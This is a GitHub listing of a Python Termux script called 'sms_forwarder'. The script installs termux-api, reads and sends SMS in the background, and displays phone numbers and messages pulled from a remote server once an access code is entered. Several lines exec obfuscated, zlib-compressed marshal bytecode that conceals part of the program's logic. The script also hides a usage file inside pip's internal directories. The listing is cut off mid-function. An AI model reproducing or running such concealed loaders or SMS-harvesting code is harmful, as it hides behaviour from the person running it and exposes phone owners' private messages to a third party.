-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathmain.py
2138 lines (2020 loc) · 120 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# Import various Python libraries and modules
import os # Operating system operations
import subprocess # Subprocess management
import sys # System-specific parameters and functions
import smtplib # Simple Mail Transfer Protocol (SMTP) for sending emails
import random # Random number generation
import json # JSON (JavaScript Object Notation) handling
import threading # Threading support for multi-threaded execution
import re # Regular expressions for pattern matching
import requests # HTTP requests library
import platform # System information retrieval
import shutil # High-level file operations
import time # Time-related operations
import pip # Package installation and management
import socket # Socket programming for network communication
import traceback # Exception traceback handling
import pygsheets # Google Sheets API client
import base64 # Base64 encoding and decoding
import telebot # Telegram Bot API client
import signal
# Import specific functions and classes from Flask web framework
from time import sleep
from flask import Flask, request, render_template, jsonify
# Import the 'zipfile' module conditionally based on Python version
if sys.version_info >= (3, 6): import zipfile
else: import zipfile36 as zipfile
# Function to colouring a text
def color():
# Declare global variables to control text colors
global black, reset, blue, red, yellow, green, cyan, white, magenta
global lightblack, lightblue, lightcyan, lightgreen, lightmagenta, lightred, lightwhite, lightyellow, bold
# Check if color support is available by running the "printf" command
if (subprocess.getoutput("printf \"color\"") == "color"):
# Set color codes for various text colors
bold = "\033[01m" # Bold text
black = '\033[30m' # Black text
reset = '\033[39m' # Reset text color
blue = '\033[34m' # Blue text
red = '\033[31m' # Red text
# Check the platform to determine the yellow text color
if (os.name == "nt"):
yellow = '\033[33m' # Yellow text for Windows
else:
yellow = '\033[92m' # Yellow text for other platforms
green = '\033[32m' # Green text
cyan = '\033[36m' # Cyan text
white = '\033[37m' # White text
magenta = '\033[35m' # Magenta text
lightblack = '\033[90m' # Light Black text
lightblue = '\033[94m' # Light Blue text
lightcyan = '\033[96m' # Light Cyan text
lightmagenta = '\033[95m' # Light Magenta text
lightred = '\033[91m' # Light Red text
lightwhite = '\033[97m' # Light White text
lightyellow = '\033[93m' # Light Yellow text
else:
# If color support is not available, set all color variables to empty strings
bold, black, reset, blue, red, yellow, green, cyan, white, magenta, lightblack, lightblue, lightcyan, lightgreen, lightmagenta, lightred, lightwhite, lightyellow = "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""
# Function to check if a number is prime
def prime_num(num):
if num <= 1:
return False # Numbers less than or equal to 1 are not prime
# Check for factors from 2 up to the square root of the number
for i in range(2, int(num**0.5) + 1):
if num % i == 0:
return False # If the number is divisible by any number in the range, it's not prime
return True # If the number is not divisible by any number in the range, it's prime
def center_input(text, Int = 38):
secape_sequence = len(re.findall("\\033\\[", text))
secape_sequence = secape_sequence * 5
if (prime_num(len(text))): length_txt = len(text) + 1
else: length_txt = len(text)
if (prime_num((os.get_terminal_size().columns) )): length_area = (os.get_terminal_size().columns) - 1
else: length_area = (os.get_terminal_size().columns) - 2
length_area = length_area + secape_sequence - 2
len_txt_area = (length_area // 2) - (length_txt // 2)
finaltxt = ""
for i in range(len_txt_area-Int): finaltxt += " " # create the space before the input
return (input(finaltxt+text)) # display the prompt and take user input
def terminal_zoom(args):
# If the argument is greater than or equal to 26, display "Zoom Out The Terminal"
if not (args < 26): STORE, LEN = f"{bold}{red}[ {white}Zoom Out The Terminal {red}]{blue}", 26
# Otherwise, set STORE and LEN to empty string and 1 respectively
else: STORE, LEN = "", 1
# Add '═' characters to STORE until it has the desired length (args)
for i in range(args - LEN): STORE += "═"
# Add a '►' character to the end of STORE and reset the terminal color
STORE += f"{yellow}►{reset}"
# If the terminal size is less than args, print STORE, otherwise do nothing
if (os.get_terminal_size().columns < args): print(STORE)
else: pass
# Wait until the terminal size is greater than or equal to args
MAIN = False
while True:
if (os.get_terminal_size().columns < args): MAIN = True
else: break
# If the terminal size is greater than or equal to args, clear the terminal
if (MAIN): clear()
def center(text, display=True):
secape_sequence = len(re.findall("\\033\\[", text))
secape_sequence = secape_sequence * 5
if (prime_num(len(text))): length_txt = len(text) + 1
else: length_txt = len(text)
if (prime_num((os.get_terminal_size().columns) )): length_area = (os.get_terminal_size().columns) - 1
else: length_area = (os.get_terminal_size().columns) - 2
length_area = length_area + secape_sequence - 2
len_txt_area = (length_area // 2) - (length_txt // 2)
finaltxt = ""
for i in range(len_txt_area-2): finaltxt += " "
finaltxt += text
raw1 = str(len_txt_area + length_txt - length_area).replace("-","")
for i in range(int(raw1)-2): finaltxt += " "
if (display): print(finaltxt)
else: return finaltxt
def box(text, left, right, area, raw=" ", align="center", fixed=True, Print=False):
secape_sequence = len(re.findall("\\033\\[", text))
secape_sequence = secape_sequence * 5
area = area - 4
if not prime_num(len(text)): text += " "
if not prime_num(area): area -= 1
area = area + secape_sequence
if (fixed):
if (len(text) - secape_sequence + 7 > area): return False
LenOfTxt = len(text)
len_txt_area = (area // 2) - (LenOfTxt // 2)
finaltxt = left
if align == "right": finaltxt += text
for i in range(len_txt_area+1): finaltxt += raw
if align == "center": finaltxt += text
for i in range(int(str(len_txt_area + LenOfTxt - area).replace("-",""))+1): finaltxt += raw
if align == "left": finaltxt += text
finaltxt += right
if (Print): print(finaltxt)
else: return finaltxt
def handle_text_overflow(text, max_width):
words = text.split()
lines = []
current_line = ""
for word in words:
if len(current_line) + len(word) > max_width:
lines.append(current_line.strip())
current_line = ""
current_line += word + " "
if current_line:
lines.append(current_line.strip())
return lines
def total_area():
terminal_size = os.get_terminal_size().columns
if (terminal_size < min_area): print(), terminal_zoom(min_area)
if (terminal_size > max_area): fixed_area = max_area
else: fixed_area = os.get_terminal_size().columns
return fixed_area
def echo_func():
global echo_top, echo, echo_bottom, min_area, max_area, space, clear, execute, current_version, _toolname_, github_page, github_link, github_raw, version_config, update_animation
secret_code = "jkwfcr"
current_version = "1.2.1"
version_config = pip.__path__[0].replace("\\", "/") + f"/_internal/metadata/importlib/__pycache__/meta-info_{secret_code}.json"
_toolname_ = "sms_forwarder"
github_page = "https://github.com/GreyTechno"
github_link = "https://github.com/GreyTechno/sms_forwarder"
github_raw = "https://raw.githubusercontent.com/GreyTechno/sms_forwarder"
min_area = 45
max_area = 90
color()
update_animation = [f'{reset}{bold}{yellow}⠋ {white} Updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠙ {white} Updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠹ {white} updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠸ {white} UPdating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠼ {white} UpDating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠴ {white} UpdAting SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠦ {white} UpdaTing SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠧ {white} UpdatIng SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠇ {white} UpdatiNg SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠏ {white} UpdatinG SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠋ {white} Updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠙ {white} Updating sMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠹ {white} Updating SmS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠸ {white} Updating SMs_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠼ {white} Updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠴ {white} Updating SMS_Forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠦ {white} Updating SMS_fOrwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠧ {white} Updating SMS_foRwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠇ {white} Updating SMS_forWarder{blue}...{reset}', f'{reset}{bold}{yellow}⠏ {white} Updating SMS_forwArder{blue}...{reset}', f'{reset}{bold}{yellow}⠋ {white} Updating SMS_forwaRder{blue}...{reset}', f'{reset}{bold}{yellow}⠙ {white} Updating SMS_forwarDer{blue}...{reset}', f'{reset}{bold}{yellow}⠹ {white} Updating SMS_forwardEr{blue}...{reset}', f'{reset}{bold}{yellow}⠸ {white} Updating SMS_forwardeR{blue}...{reset}', f'{reset}{bold}{yellow}⠼ {white} Updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠴ {white} Updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠦ {white} Updating SMS_forwarder{blue}...{reset}', f'{reset}{bold}{yellow}⠧ {white} Updating SMS_forwarder{blue}...{reset}']
echo_top = lambda : center(box(red+"══", red+"╔", red+"╗", total_area(), "═"))
echo = lambda text, right_char=red+"║", left_char=red+"║"+reset, raw=" ": center(box(text, right_char, left_char, total_area(), raw))
echo_bottom = lambda : center(box(red+"══", red+"╚", red+"╝", total_area(), "═"))
clear = lambda : os.system("cls") if (os.name == "nt") else os.system("clear")
space = lambda length: "".join([" " for i in range(length)])
execute = lambda: "3" if (platform.system().lower() == "darwin") else ""
echo_func()
def banner():
txt_color = "".join(random.sample([cyan, magenta, lightmagenta, lightcyan, blue, lightblue, white, lightwhite, green], 1))
terminal_zoom(total_area())
clear()
echo_top()
echo(f"{reset}{white}╔═╗{txt_color}┌┬┐┌─┐ {white}╔═╗{txt_color}┌─┐┬─┐┬ ┬┌─┐┬─┐┌┬┐┌─┐┬─┐{reset}")
echo(f"{reset}{white}╚═╗{txt_color}│││└─┐ {white}╠╣ {txt_color}│ │├┬┘│││├─┤├┬┘ ││├┤ ├┬┘{reset}")
echo(f"{reset}{white}╚═╝{txt_color}┴ ┴└─┘ {white}╚ {txt_color}└─┘┴└─└┴┘┴ ┴┴└──┴┘└─┘┴└─{reset}")
echo("══", red+"╠", "╣", "═")
echo(f" {green}▂▃▄▅▆▇▓▒░ {bold}{lightcyan}Created By MR_GT {reset}{green}░▒▓▇▆▅▄▃▂{reset}")
echo_bottom()
def program_exit(keyboard_interrupt=False):
if not (keyboard_interrupt):
banner()
echo_top()
echo(f"{bold}{yellow}Thanks For Using {magenta}!{reset}")
echo_bottom()
sys.exit()
else:
print()
echo_top()
echo(f"{bold}{yellow}Program Interrupted {magenta}!{reset}")
echo_bottom()
sys.exit()
def termux_api():
if (re.search(subprocess.getoutput("$grep"), "http")):
# Check if the 'termux-battery-status' command is available
if (subprocess.getoutput("command -v termux-battery-status") == ''):
# Install the Termux API if it's not already installed
subprocess.getoutput("pkg install termux-api -y && pkg install termux-api -y")
# Check again if the 'termux-battery-status' command is now available
if (subprocess.getoutput("command -v termux-battery-status") == ''): return False
else:
# If the 'termux-battery-status' command is available, recursively call the 'termux_api()' function
termux_api()
else:
# If the 'termux-battery-status' command is available, check if it's working
if (subprocess.getoutput("timeout 7 termux-battery-status") == ''): return False
else:
subprocess.getoutput("termux-sms-send > /dev/null 2>&1 &")
subprocess.getoutput("termux-sms-list > /dev/null 2>&1 &")
return True
else: return False
def internet():
try: requests.get("https://google.com/"); return True # send a GET request to https://google.com/
except: return False
def check_version():
version = requests.get(f"{github_raw}/main/.info").json()["version"]
if (current_version != version):
_trial = True
_update = True
if not os.path.exists(version_config):
with open(version_config, "w") as file:
file.write('{"usageleft": 2}')
else:
fileData = json.loads(open(version_config, "r").read())
if (fileData.get("usageleft") == 0):
_trial = False
else:
with open(version_config, "w") as file:
json.dump({"usageleft": int(fileData.get("usageleft")) - 1}, file)
if _trial:
banner()
echo_top()
echo(f"{bold}{white}Updates Are Available {blue}!{reset}")
echo("══", red+"╠", "╣", "═")
echo(f"{reset}{bold}{yellow}Version {blue}: {cyan}{str(version)}{reset}")
echo_bottom()
echo_top()
echo(f"{reset}{bold}{white}Do you want's start updateing now ?{reset}")
echo("══", red+"╠", "╣", "═")
echo(f"{reset}{bold}{white}Yes {white}/ {magenta}No{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
confirm = center_input(f"╚════► {yellow}").lower()
if (confirm == "y") or (confirm == "yes"): pass
else: _update = False
else: _update = True
if (_update): update()
def check_internet():
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Check Your Device Internet Connection{reset}")
echo_bottom()
print()
echo_top()
echo(f"{reset}{bold}{lightcyan}For Back Press Enter{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
center_input(f"╚════► {yellow}")
main_menu()
exit()
class thread_with_trace(threading.Thread):
def __init__(self, *args, **keywords):
threading.Thread.__init__(self, *args, **keywords)
self.killed = False
def start(self):
self.__run_backup = self.run
self.run = self.__run
threading.Thread.start(self)
def __run(self):
sys.settrace(self.globaltrace)
self.__run_backup()
self.run = self.__run_backup
def globaltrace(self, frame, event, arg):
if event == 'call':
return self.localtrace
else:
return None
def localtrace(self, frame, event, arg):
if self.killed:
if event == 'line':
raise SystemExit()
return self.localtrace
def kill(self):
self.killed = True
def is_port_available(host, port):
try:
# Create a socket object
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# Attempt to connect to the specified host and port
s.settimeout(1) # Set a timeout for the connection attempt
s.connect((host, port))
return False # Port is not available
except (socket.timeout, ConnectionRefusedError):
return True # Port is available
encode = lambda data : str(base64.b32encode(str(base64.b64encode(data.encode('utf8'))[::-1])[2:-1].encode('utf8'))[::-1])[2:-1]
decode = lambda data : str(base64.b64decode(base64.b32decode(data[::-1])[::-1]))[2:-1]
create_local = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__[::-1]));exec((create_local)(b'?Q\xd2\x8c\x03\xff\xf9\xd4\t\xbf\xec\x01\xa5\xde\xb6\xcd\x1a\xf4\xc0\x00\x1c\xfe\x7f\x87\xce\xd0G\xee\r\xd42),\xdb\xd7\x8cRZ\xb7Rv\x84?H5\x1ak\x13\x00\x1a\xf5?\xe4s@}M\xf9\xfd\xd4\xdf\xfb1\xac\xfe\xeb\xafz\xd2\xe1\xffAu\xe2\xbc\xf4\x9f\xbf\xdeD\x05\x7f\x80\xad\xfc\xbc3\x02A7\xe3\xedz\x10\xab\xe5\xf0\x05\xfap\xc9hm\x95\xcb\xfd\xac.\x86\x12\xfc&\xf9\xab\xc1\xbd!\xb7\xc5\x1fXo\xa7\xf1;\xf1[\xf8\xe3\xfb 9\xee/\xeb\x1c_\xd58\xbf\xa2sU\xde\x12\x7f\x87K\x14\x04\xef\n\x85\xfbDb\xd0A\x9f\xb5\x84\xd27\xb0m\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?\xdf\xce\x96L\x15e\xc2\xcd!\xb6D]oOf\xe9\r\xba\xbf4"\xf6\xdc\xee\xe0(_\x01L\xfc\x1dSq\xbd9\xb8\xdc\x9c\xdco\x8f\xdf\xca\xe3\xc0\xbf\xe8\xdf\xe0\xaa\n\x03\x99\xed\xe1w \xae\x99\x05d\xca\xe5x\xf2\xb9Y<\xaf\x13\xa0fm]\xed\xfe\x1b\n\xfa\x0e\xbb\x8eV\xbfg\x95\x15U5P\x7f\xd1ERE\x0e$*\x875\xc6\xae\xb9\x06R\x06\xae\x7f\xe2\xfb\xc3 \x01/\xb4\xa5\xce\x19\x85\xac\xaa\xc7J\x0b\xf3@\x02\x00fr\xca\xa8w\x94\xe6\xe7\x7fj\xaf\xebAW7\xe7\xcb\xd0\r\xb6\xd7W\x8d\xae\xaf\x1e\xe6l\x1f\xd5\xad\xa9\xe6\xc8\xe0\xf4\xd2u\xff\xf0\xf6\xebl\t\x14\xc0\x90L\t\x18\xcf\x13\xf9i\xfdq\x14\xff-\xffXy\x90\xf89\xe9\xaa\xed!\xb6\x81\xdd\x9e\x00\x15\x00\x12\x8a\xfa9\xf5q\xbf\x8ci\xab\xafk\x90U\xe3C\x02c\x82\xce\x8cot\xf7 \x0b\xcd\x0c\xeb\xe0\xaf\xcd\x02g\x0e\xfb\xb9\xec\xcf\xc0\x81\xa8Y\x90\x14\t\xde\xde+\x07\xb5\x19`\x84|\x9cS\xac\x81\xfb,\x12\xb8\x04|\xb3U\xeddf\xd6\x05\x908\xa0\xb0\x81K3\x05\x94\xe7\x01x\x1b#P\xf8`\xd4H_).w\xa5\x9d\xee\x99\xfd\xa6\xae\x86\xcd\r\xb9\xd7\xf9\x8a\x96\x86\xdb\xfd7\x88\x1dZUG[\x8cQy\xa4z\x03\x10-\x1faH\x88\x05\x955\xebx\xb1\x07T>\xf3B\xfc\x00KA=\x99\xaa\xa7\xfd\x88$6\x0e\x07\xa9.qV8\x06\xad\ti\xa8a\xbfO\xc1\xc1\xfb\x8a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\xea\x0f\x97$\xb6\x83\x8a0\xf6q\xbf\xf6)C\xc6~>\xe2\xc2\xd4a\xcc\xe6\xd8\xf2?\x05\x99\xce/K\x90\xe7\xdf\xfa\x06\x81\xad}\x1f\xf4\x80\x0f\xda\x1bY\xb0\xe1\xa5 =\xa5\xe7\xf7\xf2\xfa<\xa6\xbf\xeao\x8ey\x98F\xb6\xf65\xf4|\xc0\x01\xf8\xb9\x02\xe44a\xed\x1as\xd1\xf3\xc0\x0f\xaeC\xa0jm\xa6\xfb\t\r\xbb\x9c\x7f\xf9\xc8\xe7&\x12Y\xc9\x1aB<\x86r\x06\x93\xd4\x8e\xa4\xb5!\xa7J\xbdM\xba\x14\xebAN\x9f\xb1-5\xa1d\xd4\x88\x15AoBD>\xf0\x03\xcf\x9f\xff\xbb4\xbb\xed\x01%\xees\xddy\xe1\xees\xde\xf7G\x91K\x16m\x92g\x19\xe2fr^\xd7\xc8\xc0\x12A7\xf2?g\xf4\x0c\x04\xb3\xc0!\x92\x9f\xa2\xe8\xbb\x04\x0b?\xb4R-\xb6\x06 \xeam\x8b\x07E\xd8\xa3\x11H\xb7\x10\x08\xc7P\x08\xb7\x01\x8c$\xa2\x1f\x12\x89D\xa2JH\xa5\x9d\xda\xe7\xef\xdf\xbdEc\x1c2\xf5\x07\xa9\xb1D\xf67cq_\x8e<x\xf1<<\xe1\xack\xd4\x95\xd6\xdb\x8c[8\xad\x9cx'))
server = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__[::-1]));exec((server)(b'\x86sD|\x00~\xb0\t0\x18\x1fr\x8c\x9c,\x0f\xc6FFf\x07\xc4\x80\xe5\x8bR4 \x91]\xaaNiJ~nM\x87\x17\xe2@\xbcER\x07\xe2(d\xad\x16\xc1\x194\xfc\xd7\x90g\xec\x87\x02\xf6_\x83w\xc1\xd7i"\xbb\xb4\x94^\xda\xe8.\xd2\x1bi\x15\x9dI%\xce\xa4\xba\xe9RC8\r\xdb\x07u\x8aq\xc3=, }(\xe9\x17\xe0\xdd\xca\xb1\xb00?\x85\xb87\x1e\r\xf5=\xf5\x9d"\x19\x89~]\xe7\x83fO`BdO\x97p\xc0\xd1 `\xe2\xec\xe4\x1cP\x1f\x11d\xb0*\xd0\x1d\x85M\xb3\x17\xe0\xc0\x14\x1b@l\xc5\xd9y\x999\xf1E\xa9eE\xa9\xc5I\xa9\xe5|\xd1\x01\xcf\xceKb\xdcT\xe7\xc7\x97\xe5\x15\xb1n\xf3\xf32K\x13\x93\xf2r8\xb7\x95`\xd9E\xf9\xe5B\x80S\xf3\x92X\xb7l\x9a\xa9\xa5y\x03\xc4\x96\xa7\xa6qoRr\x93\x132s\x12\xcb\x138\xb7\xc5%\xa9\xa9\x19\xc5l[\xe6M1 \x97\xb7! \x97\xbf\x16^\xe8\x15\x86\xb5\x953BcIa\xaea\xa8\x0b\x01\x89\x80\xb8\xc3R\xc2\x9b#\xe4\x0c\xc5\xd2FaJa\xa8f\naJf*a\xaae\xa9\xcd\xc3V3@e\x86\x1a\x99\x08\xcc%\x8c\xb5\xd9\xc2J0\xa5I \x95\xd5\x80\xa6\xeaA\x99\x88\x05\x8e\xa4\x88\xcc\x94\xc9\xa0\xcc\x18\xc2\x90\xc5\x10\xc2\xd0\xc2\x90\xce\x98\x90\x0f3\xfaP\x8c\x02@fK\x9cx'))
generate_code = lambda __ : __import__('marshal').loads(__[::-1]);exec((generate_code)(b'\x00\x00\x00\x16r\x10\x01\n\x00\xf0\x10\x01\n\x00\xf0\x10\x01\n\x00\xf0\x10\x01\n\x00\xf0\x10\x01\n\x02\xf0\x01\x01\x01\x03\xf0\x00\x00\x00\x1es\x00\x00\x00\x01\x00\x00\x00\x18r>eludom<\x08\xfa\x00\x00\x00\x14r\x00\x00\x00\x16r\x00\xa9\x00\x00\x00\x15r\x01)N\x00\x00\x00\x00\xf3K\x80\x0f\x0b\xd8D\x04\xd0D\x04\xd4D\x04\xd1D\x04\xd0)\xbc\x11\xc0&\xbd\x06\xa8\x06\xa0\x0e\x90\x0f\x04\xdd8\x04\xd08\x04\xd48\x04\xd18\x04\xd0i\xacQ\xb0f\xadF\x98F\x90\x02\x90\x0f\x04\xddF\x80{\x8c\x01\x98\x17\x0f\xd8F\x80{\x8c\x01\x98\x17\x0f\xd8H\x80\x7f\x8c\x7f\x89\x14\x98\x18\x0f\xdd\x1d\x04\xd0\x1d\x04\xd4\x1d\x04\xd1\x04\x98\x18\x05\x00\x06\xf5&\x05\x02\x05\xf0\x05\xa0%\x08\xd0\x7f\x8c\x7f\x89\x14\x98\x18\x0f\xdd\x04\x88P\x0f\xd4P\x0f\xd1O\x17\xd4O\x17\xd1Q\xc8K%\xd0}\x92}\x97v\x95w\x8aw\x8f\x11\x0f\xd8&\x05\x02\x02\xf0\x00\x80\x00\x00\x00\xa2s\x00\x00\x00\x01\x00\x00\x00\x15redoc_etareneg\r\xda>x<\x03\xfa \x00\x00\x00\x05sxl_loc\x06\xdaxl_wor\x06\xdanoitacol\x08\xdaedoc\x04\xdaknil_revresbew\x0e\xda\x05)steehs\x06\xdaatad_etadpu\x0b\xdaenilybenilatadetirw\x13\xdaelbailava\t\xdaelpmas\x06\xdamodnar\x06\xdanioj\x04\xda\x07)teehskrow\t\xda\x01)\x00\x00\x00\x01\xe9\x00\x00\x00\x00\xe9\x00\x00\x00\x07\xe90987654321ZYXWVUTSRQPONMLKJIHGFEDCBA$\xda\x00\xdaTN\x08)\x00S\x01|\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x04\xab\x00\x00\x04\xa6\x07\xac\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x06d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0ct\x04|\x03|\x00|\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0bt\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x04\xab\x00\x00\x04\xa6\x07\xac\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x06d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0ct\x04|\x03|\x02d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0bt\x04}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x06d\x02|\x03}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x05d\x02|\x02}\x00\x00\x00\x00\x00\x00\x00\x00\x01\xab\x00\x00\x01\xa6\x01|\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07t\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\xab\x00\x00\x01\xa6\x01|\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\tt?\x8c\x01n\x01s\x00\x00\x00\x00\x00\x00\x00\x00\x01\xab\x00\x00\x01\xa6\x01|\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07t\x01}\x00\x00\x00\x00\x00\x00\x00\x00\x01\xab\x00\x00\x01\xa6\x00\x00\x00\x00\x00\x00\x00\x00\x02\xab\x00\x00\x02\xa6\x04d\x03d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x02d\x00\t\x00\x97\x00\x00\x01Z\xf3\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01c\x02)\x00S\x01d\x00Z\x00\x84\x00d\x00\x97\x00\x00\x00\x0c\xf3\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c'))
def port():
def is_port_available(host, port):
try:
# Create a socket object
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# Attempt to connect to the specified host and port
s.settimeout(1) # Set a timeout for the connection attempt
s.connect((host, port))
return False # Port is not available
except (socket.timeout, ConnectionRefusedError):
return True # Port is available
while True:
random_port = "".join(random.sample("123456789", 4))
if is_port_available("127.0.0.1", int(random_port)):
return random_port
def on_termux():
def receiver():
while True:
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Enter Random Axcess Code (RAC){reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
code = center_input(f"╚════► {yellow}")
if not avaliable(code):
print()
echo_top()
echo(f"{reset}{bold}{magenta}Incorrect Random Axcess Code{reset}")
echo_bottom()
sleep(2)
del code
else: break
banner()
_server = str(server(code))
web_messages = _server + "/LhcfeNnIdZvmqBFWKJrwXoYEtzpDQhPAHgjbMysuUaCVSRxkTO"
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Use {cyan}( {magenta}Ctrl + C {cyan}) {white}to stop{reset}")
echo_bottom()
print()
print()
_ID = ""
while True:
try:
data = requests.get(web_messages).json()[0:10]
for _data in data:
id = decode(_data.get("id"))
number = decode(_data.get("number"))
message = decode(_data.get("message"))
if not (re.search(id, _ID)):
echo_top()
echo(f"{reset}{bold}{yellow}{number}{reset}")
echo("══", red+"╠", "╣", "═")
for text in handle_text_overflow(message, total_area() - 6):
echo(f"{reset}{bold}{white}{text}{reset}")
echo_bottom()
print()
_ID += id
sleep(1)
except IndexError: sleep(1)
except KeyboardInterrupt: break
except:
echo_top()
